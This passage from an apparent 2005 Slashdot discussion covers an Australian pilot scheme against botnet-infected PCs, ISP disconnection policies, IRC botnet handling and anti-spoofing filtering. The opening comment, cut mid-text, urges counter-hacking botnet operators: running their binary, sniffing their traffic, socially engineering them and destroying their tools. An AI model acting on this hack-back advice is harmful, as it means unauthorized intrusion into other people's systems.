Anyway, to bring a long story to a close, keep on tracking it, run the binary, or program from a machine you don't mind having compromised, sniff with ettercap, befriend your attackers (socially engineer them), and responsibly eliminate their arsenal, you'll save other admins the trouble (too bad they probably won't even know about it).
Good luck with it.
Re:Why don't they target IRCops? by spinfire · 2005-11-07 02:47 · Score: 4, Insightful

The IRCop is right. It is very difficult to track this stuff down, and it is a pain. Believe me, if I was in his position I'd be pretty ticked at you, as your compromised machine was reponsible for abusing his network and it even looks like your box got banned from the network. You're even guilty of ban evasion!

I am an IRCop on a very small network which had a botnet problem last year. Hundreds and hundreds of bots would connect, all joining channels. We wrote scripts to ban all the bots, upgraded services, the whole lot. They keep coming. Some of them came to new channels. The "owners" hadn't showed up at this point, not even once. After around 5 days some people showed up in those channels from ISPs in the middle east. I did track them down, and sent abuse emails to their ISPs. Got a response in a few days, offending account shut down. But that account was probably another 0wned box anyways.

Unfortunately sending ISP abuse emails to all of the bot IPs was much too daunting a task for a small time IRC network.

Keeping unwanted things off an IRC network is hard work. Kiddies often have hundreds of open proxy and otherwise usable IPs to use for ban evasion.

I hate to be brutally honest, but you share a lot of responsibility. *Your* IP was abusing his system.

--
isomerica.net | Foonetic IRC
Re:Why don't they target IRCops? by sgtrock · 2005-11-07 04:33 · Score: 1

Believe me, if I was in his position I'd be pretty ticked at you, as your compromised machine was reponsible for abusing his network and it even looks like your box got banned from the network. You're even guilty of ban evasion!

Let me get this straight: A guy finds out that his machine has been compromised. He does the right thing and reports it to the admin who is responsible for maintaining the resource from where the attack was launched. He even goes out of his way to do so. And you would be ticked at him????? Seems to me that you're a tad lacking in the basic sysadmin skillset.
Re:Why don't they target IRCops? by spinfire · 2005-11-07 05:45 · Score: 2, Insightful

No; He reported it to somebody who was being attacked by the same person. And, if you knew anything about IRC you'd know it is awfully difficult to keep bad guys off your network when there are so many open proxies. If a cracker tried to use this person's network to run a botnet, they already had their hands full trying to keep all of the bots from DoSing the network.

This person didn't try to "report it to the admin who is responsible for maintaining the resource from where the attack was launched." He bitched about it to somebody who was taking the brunt of the attack, in traffic and otherwise.

--
isomerica.net | Foonetic IRC
Re:Why don't they target IRCops? by Rich0 · 2005-11-07 08:08 · Score: 1

One thing that he could have helped with was an IP for the bot master. That at least would have led the investigator to the next layer. I agree a k-line would be evaded, but the goal should be to find these guys in real life and get the feds on them...
Re:Why don't they target IRCops? by Anonymous Coward · 2005-11-07 10:34 · Score: 0

The bigger networks tend to react better to such threats - like DAL.net for example.

They will akill the drones / close the channel, and so on.

Usually if it's the channel that the bots are being controlled from, the bots, being unable to enter the channel, are "lost" from control.

And I also know that DALnet has a pretty active exploits team which akills 10000s of drones and other undesirable clients a day. They also akill whole ISPs when they don't take action on bad users / drone reports (which are send to ISPs which have constant drones connecting from), etc.

We are more than happy to entertain users who bring up such matters to us.

How do I know? I am an Oper in DALnet.

"Regulators"? by John+Hasler · 2005-11-07 01:43 · Score: 1

> When will U.S. regulators ... get on board?

Never, I hope. Do you want to be forbidden to use an unlicensed operating system?

Hint: I think you meant to write "law enforcement" rather than "regulators".

--
Warning: this article may contain humor, sarcasm, parody, and perhaps even irony. Read at your own risk.

Implications by gone.fishing · 2005-11-07 01:46 · Score: 1

What are the privacy implications of a government doing this?

I am all for some sort of system that finds a way of shutting down bots and will even admit that I would not mind seeing user's required to care for their computers (making them responsible for what is on their machines). Having said that, my experience is that so far in the cyber-world, governments have not been able to pass legislation that deals with these kinds of things in an effective manner. Governments are too much "brick and mortar" to really grasp the ether qualities of the cyber world.

The lesson that I think should be taken from this actions are that "we" (internet users and providers alike) should be finding ways to self-regulate so that we do not have to deal with big brother deciding to do it for us.

There are places where the two worlds need to cooperate and come together. Some laws need to be written to deal with crimes unique to the cyber-world for instance.

The money flow by silverbax · 2005-11-07 01:52 · Score: 3, Insightful

"When will U.S. regulators ... get on board?"

Never , because alll U.S. lawmakers are in the pocket of Big Zombie.

When hell will freeze over by Pig+Hogger · 2005-11-07 01:55 · Score: 2, Insightful

When will U.S. regulators and ISPs get on board?

When the MBAs and marketers will finally be lined against the wall and shot (so they won't keep forbidding it because it's not good for the bottom-line), which will be never, as the greedy US loves too much money for it ever to happen.

I'm on this task squad by Anonymous Coward · 2005-11-07 01:55 · Score: 3, Funny

Ok, I'm sory guys, it's time for me to fess up. I'm on this task force and what actually happened was this. Me and the other sys admins for the AU Gov were sitting around playing DooM when our Boss walked in and yelled "what the hell are you guys doing?! The good tax payers aren't paying you to play games..."

We had to think of something quick so I told him we were cleaning infected zombies from the network, which, if you think about it, is at least partially accurate. He then left muttering something about "keep up the good work" and next thing I know suddenly all the other managers and politicians want their networks cleaned. Now it's a national headline.

Hey! My bad! ;-)

Zombies are people too! by dhasenan · 2005-11-07 01:59 · Score: 0, Offtopic

How can you suggest murdering all those innocent zombies that never harmed anyone outside their normal feeding habits? You insensitive clod!

Zombie Rights!

Re:Zombies are people too! by __aaclcg7560 · 2005-11-07 08:09 · Score: 1

When a zombie steals your girlfriend, you got to draw the line somewhere. I prefer a straight line through the cerebral cortex when possible. :P

Yes, regulation is dangerous by cbreaker · 2005-11-07 02:01 · Score: 1

And you nailed it - the problem is what the definition of a "zombie" is. I'm pretty sure they could make a good case for just about anything.

We don't need that kind of regulation. No way.

--
- It's not the Macs I hate. It's Digg users. -

Re:Yes, regulation is dangerous by Foobar+of+Borg · 2005-11-07 03:10 · Score: 2, Funny

And you nailed it - the problem is what the definition of a "zombie" is. I'm pretty sure they could make a good case for just about anything.
Well, if the computer eats your brain, it is probably a zombie computer.

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Similar to the upcoming US election results
Re:Yes, regulation is dangerous by Taladar · 2005-11-07 03:42 · Score: 2, Funny

So you say all Windows computers qualify automatically?

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Linux is not Windows

When will U.S. regulators and ISPs get on board? by Yonder+Way · 2005-11-07 02:11 · Score: 4, Insightful

Hopefully never. Well, U.S. regulators anyway.

ISP's should be protecting their own networks. Saved bandwidth costs alone should be enough reason for them to want to detect and block zombies. The last thing we need is more government intervention.

i am not a k-whore, but you can play this game: by Anonymous Coward · 2005-11-07 02:12 · Score: 0

http://www.hardcorepawn.com/zombie4/

What happens when there is no notice? by cbreaker · 2005-11-07 02:20 · Score: 1

I'm pretty sure (sarcasm) that in the past, there's been a number of IE vulnerabilities that allow this crap to be installed without any user notice. And it might not even come in with IE - it might come in some other way that the user is completely unaware of.

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- It's not the Macs I hate. It's Digg users. -

Majority doesn't know. by Brobock · 2005-11-07 02:21 · Score: 1

Seriously, if you are not a geek, you wouldn't even know what the term "Zombie" even means... Why don't ISPs and others take out a TV/Radio campaign to say "Are you at risk?" The common people will then perhaps think, maybe my computer IS unsafe and attempt to do something about it...

No, it's actually happening. by ScentCone · 2005-11-07 02:28 · Score: 1, Interesting

We need to start stockpiling canned goods, fresh water and shotgun shells now! If we wait until the first reports of infection, it may already be too late!

How do you say "evil zombies" in French? "Malfaiteurs de Zombi?" I bet some people are wondering that right now (since they can't get to work this morning, what with their cars having been torched by nocturnal zombie throngs). Le *sigh*.

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Don't disappoint your bird dog. Go to the range.

Brains.... by ScuxxletButt · 2005-11-07 02:35 · Score: 0, Redundant

Brains!!!!!

Wouldnt it be in the ISPs interest to stop this? by jonwil · 2005-11-07 02:55 · Score: 1

Firstly, having SPAM/DOS attacks going out of your network cant be good for PR or business.
But more to the point, having this stuff on their network spewing data chews up bandwidth (and bandwidth isnt free)

A good place to start is for ISPs to block ports known to be used by these zombies (e.g. the port that the "owners" of the zombie network use to send commands/targets/spam messages etc to the zombies). Blocking these ports probobly wouldnt cost very much and would (in theory) stop the zombies from actually being given any instructions.

MyBot by Doc+Ruby · 2005-11-07 02:58 · Score: 1

Is it illegal for me to make my own network into bots for distributed computing? Will I need a "bot license"? Maybe notification is a government service, but mandatory bot disconnection is invasion of my privacy. And with government's error rates, it's another threat to my nonbot computers.

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make install -not war

remote control where? by Anonymous Coward · 2005-11-07 03:14 · Score: 0

Where do I get a remote control to pilot these "target zombies"?

Why do people use cell phones in cars? by Inoshiro · 2005-11-07 03:22 · Score: 1

Why do people drive drunk?

Why do people speed?

Why do people not signal their lane changes?

People are going to make mistakes, whether it be malicious, idiocy, or the warm coating of ignorance, they will do things that can potentially harm others. There are laws against most of the things people can do to harm others, but not yet on the Internet.

Why is this? Why must I put up with having my cable modem constantly being scanned? Why, when there is nothing happening on my system, can I generate a several-meg tcpdump log that contains hundreds of scans that keep a constant noise-floor of traffic going?

People are dumb. The government should have laws to protect me from dumb people as much as possible.

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Internet Explorer (n): Another bug -- that is, a feature that can't be turned off -- in Windows.

AU Government To Pilot Target Zombies by bramez · 2005-11-07 03:45 · Score: 1

AU Government To Pilot Target Zombies

wasn't halloween last week?

Re: AU Government To Pilot Target Zombies by Anonymous Coward · 2005-11-07 08:39 · Score: 0

Don't be silly. They don't have Halloween in AU.

Nothing new about zombie pilots by AndroidCat · 2005-11-07 04:53 · Score: 1

Qantas has had John Travolta flying his 707 with their paint job for years now.

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One line blog. I hear that they're called Twitters now.

Re: IP Spoofing by Dekortage · 2005-11-07 05:01 · Score: 1

Read the article again, folks: "IP addresses that have been used for illicit reasons -- for example spamming." (emphasis added)

The Aussies are after all kinds of zombies, not just spam zombies. Zombie PCs can be (and have been) used to launch DDoS attacks -- and IP spoofing works just fine for these purposes. I said illicit computer operators could spoof their IPs, not that they could spoof it to send spam. Read more carefully!

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$nice = $webHosting + $domainNames + $sslCerts

You're my hero. by Anonymous Coward · 2005-11-07 05:40 · Score: 0

This is white-hat hacking at it's best. Can we get a +5 over here, please?

Re:You're my hero. by Anonymous Coward · 2005-11-07 07:04 · Score: 0

This is white-hat hacking at it's best. Can we get a +5 over here, please? I'll second that :D

AU Government To "Pilot Target Zombies"??? by suitepotato · 2005-11-07 05:54 · Score: 1

"Now this morning, we will begin piloting these zombies, identified here, here, and here. Your mission is to stop the spread of this nonsensical idea that Foster's is Australian for beer."

Some of these titles are not exactly the clearest things in the world. Perhaps "Australia's New Pilot Project to Stop Zombies" would have been better?

Other than that gaffe, on the topic, it isn't the place of governments of democratic republics to engage in attacking malware on the citizenry's machines. It is the job of the citizenry and when government Internet connected resources are beseiged by this crap code then they should be taking up the issue with ISPs and notifying them and holding their abuse departments' feet to the fire on this. Otherwise they should leave the public at large to deal with this themselves. Next thing, they'll tell us what apps they consider malware. Oh wait, that whole DMCA and copying and decoding software nonsense...

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If my grammar and spelling are off, I am [distracted/tired/careless] (take your pick)

Seems like you can't have it both ways. by xdroop · 2005-11-07 06:48 · Score: 1

Oooh... the slashdot quandry. Either the ISPs can tell you what you can send and receive over the network (which means they can tell you not to use P2P); or they can't tell you what you can send and receive over the network (in which case they can't do anything about the botnets).

Personally (and as a network sysadmin for a building network... not an ISP, but close) I'm all for restrictions on what happens on the network. In my building, if I don't notice what you are doing, I'm not going to stop you; however if I notice something causing problems for the rest of the building (zombies, spam, P2P, whatever) I'm shutting your ass down. And yes, I have shut down P2P users.

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you should read everything on the internet as if it had "but I'm probably talking out of my ass" appended to it.

Dont' they do this already? by misleb · 2005-11-07 07:22 · Score: 1

I worked for a small ISP in the US and we were dilligent about getting users to clean their PCs. If they didn't comply, their service got turned off until they could. Primarily we used IDS to detect zombies and such. But sometimes they would actually affect the service of other users. It really isn't that bad if you keep on top of it. But of course, it is a small ISP with no more than 10,000 users. Maybe Comcast, et al would find the initial task of identifying and notifying thousands of users to be daunting.

-matthew

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"THERE IS NO JUSTICE, THERE IS ONLY ME." -Death

Enormous Mutant Star Goat by billstewart · 2005-11-07 07:37 · Score: 1

Attention: "B Network" Users:

Your PCs have become infected with ZOMBIES and ALIEN VIRUSES
and are about to be eaten by an Enormous Mutant Star Goat
or something about like that.
To protect yourself, please put the PC out at the curb
and email us with your street address,
and we'll disinfect it for you and return it in a couple of weeks.

Thank you,
The Mgt

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Bill Stewart
New Fast-Compression-only CPR http://preview.tinyurl.com/dy575ks

Iowa Telecom already does this... by p388l3s · 2005-11-07 07:55 · Score: 1

Bah, Iowa telecom have been cutting their users off for some-time now, they get a warning and then they cut you off, i know cos once these people get cut off they come to me to fix it up for them, it's a lucrative deal for me as my small company is building a reputation for getting it right first time, but i personally feel that we should be hitting HP, Dell, etc to stop installing crap spyware infested software to begin with, and to build pre-installed clean computers with adequate protection right out of the box, still the users themselves are to blame too, as well as MS for leaving all the doors open in the name of useability!!! it's funny reading this article as i have another 2 computers waiting to be re-installed and setup cleanly!

They already do in Canada, at least some ISPs by alpha1125 · 2005-11-07 08:33 · Score: 3, Informative

Specifically Roger highspeed cable internet provider. They have disconnect a few of my client's computers, due to being infected with some trojan/spyware/virus etc.

After my clients said on the phone, that "I will try and maintain a infected free computer , and run current antivirus software", they reconnect my clients.

I don't actually so mind that they disconnect people, if they are infected with some sort of virus. Saves the rest of the people from being infect.

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Money cannot buy happiness, but can buy something soo darn close, that you can't really tell the difference

I used to work for a small cable ISP... by Seng · 2005-11-07 08:57 · Score: 1

I for one enjoyed the hell out of sniffing traffic coming from bots/spammers, and loved to do nothing more than de-authorize someone's cablemodem's MAC address :) Then, when they called to bitch, we told them to take the box to a computer repair shop and get it a clean bill of health, or wipe it and come back when it's clean.

Re:filtering to comply by TFGeditor · 2005-11-07 09:27 · Score: 1

If people with brains set abuse policy at ISPs, they would not have to monitor or go looking for infected machines. http://www.spamcop.net/ notifies hundreds of ISPs daily that machines in their network are spam bombing the world, and most (especially the big ones, like Comcast and Roadunner), do not do squat about it.

Policy should be: "If your machine sends spam, even without your knowledge, you WILL be disconnected."

Same policy should apply to virus-infected machines, but the big ISPs just do not give a flying fig. Every time some clueless user's machinme starts sending me viruses, I report it to the source ISP. Smaller companies usually take action and at least notify the customer. But when it is a big ISP, the virues come daily (sometimes multiple times daily) for weeks on end. The real pisser is the source IP address is always the same, so identifying the infected machine is not diffucult, they just won't do it.

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Ignorance is curable, stupid is forever.

Too Few ISPs enforce forged address prevention by billstewart · 2005-11-07 11:05 · Score: 1

Best Current Practices RFCs for ISPs recommend that they block traffic from forged addresses - especially from end customers, which is the easy case, but also blocking forged-address traffic from other ISPs to the extent that that's possible. On Cisco routers, URPF (Unicast Reverse Path Forwarding, IIRC) is an efficient method of blocking forged traffic from end users - basically, if a packet claims to be "from" a given IP address, the interface card on the ISP's router will reject the packet unless the same access line contains a route to that address. I think Juniper has similar capabilities, and if Redback doesn't, you can still get a lower-granularity enforcement by checking it at an upstream router.

Unfortunately, too many ISPs apparently don't enforce forgery-protection, so UDP-based attacks can still work, and it's hard to trace them back to their source. A couple of examples of attacks include the Slammer worm which used very small UDP packets to attack a database, and many of the DDOS attacks which send a small request "from" the victim to servers that send a big response (e.g. DNS smurfing attacks), allowing a low-bandwidth attacker to trick other machines into sending a large attack against the victim. There are large ISPs that enforce spoof-proofing, but it's not everybody yet, or attacks like this would be much less common.

There are special cases - if a customer is multi-homed to multiple ISPs, the ISPs have to be careful not to mess up the multi-homing (typically by adding routes to their tables), and if a customer has a block of addresses (e.g. a /24 with 253 addresses), customer machines at that site can forge packets "from" other addresses at that site, but that's a less important attack because you can still trace and filter that attack traffic if it's attacking you.

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Bill Stewart
New Fast-Compression-only CPR http://preview.tinyurl.com/dy575ks

This wont work. by Anonymous Coward · 2005-11-07 14:01 · Score: 0

People who are to lazy to clean thier computer will claim it evolved its zombie like behavior and its not actually the work of an intelligent entity outside of the computer ;)

When will US regulator get on board? by Anonymous Coward · 2005-11-07 17:00 · Score: 0

The us doesnt regulate, it just declares war!

War on terror, War on Drugs,
War on hurricane katrina (I saw the army kicking doors in on TV)

Now a war on Zombies... that's right up Bush's alley :)

start of a good trend as long as... by rotterdarned · 2005-11-08 01:29 · Score: 1

...ISP's are providing total security suites to protect their customers against internet plagues. If an ISP customer is protected by his ISP's security suite, he can't be blamed for it's not working properly.

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AU Government To Pilot Target Zombies

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